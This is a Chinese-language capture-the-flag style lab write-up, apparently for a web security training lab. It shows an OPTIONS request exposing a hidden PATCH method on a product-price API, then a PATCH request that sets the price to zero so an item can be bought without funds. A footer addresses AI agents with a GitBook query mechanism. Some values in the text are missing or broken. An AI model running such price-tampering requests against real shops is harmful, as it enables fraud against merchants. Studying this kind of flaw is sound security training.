> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/api-testing/discovery-and-exploitation-of-an-unused-api-endpoint.md).
# 未使用 API 端点的发现与利用
### 发现并利用一个未使用的 API 端点
本实验的目标是操纵一个隐藏的 API 端点来购买一个 **轻量级 l33t 皮夹克** 在资金不足的情况下。/ 身份验证使用以下凭据：
* **用户**：wiener
* **密码**：peter
登录后，账户余额为 **$**.
#### 应用行为分析
当查看商品时，应用会在后台发送一个 API 请求以获取其价格。
**用于显示价格的请求**
```bash
GET /api/products/1/price
```
**服务器响应**
{% code overflow="wrap" %}
```json
{
"price":"$1337.00",
"message":"🔥 库存剩余 21 件，尽快购买！ 🔥"
}
```
{% endcode %}
#### 可用 HTTP 方法的识别
一个 **OPTIONS** 发送请求以识别此端点允许的方法。
**OPTIONS 请求**
```bash
OPTIONS /api/products/1/price
```
**响应**
服务器指出允许以下方法：
* GET
* PATCH
这表明有可能 **修改** 通过 PATCH 请求修改该商品的价格。
#### 通过 PATCH 修改价格
然后我们尝试通过发送带有 JSON 正文的 PATCH 请求来更新商品价格。
**PATCH 请求**
```http
PATCH /api/products/1/price
Host: 0abf000d04bd41568210d495001c000a.web-security-academy.net
Cookie: session=Ts7jyHfXOEyXqURmpAKf0SgO8DjhQYol
Content-Type: application/json
Content-Length: 22
{
"price": "0
}
```
**服务器响应**
```http
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 17
{
"price":"$0.00"
}
```
商品价格现在已设置为 **$**.
#### 购买商品
一旦价格被更改，就可以购买 **轻量级 l33t 皮夹克** 尽管账户中没有余额，这使得实验得以通过验证。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web/api-testing/discovery-and-exploitation-of-an-unused-api-endpoint.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.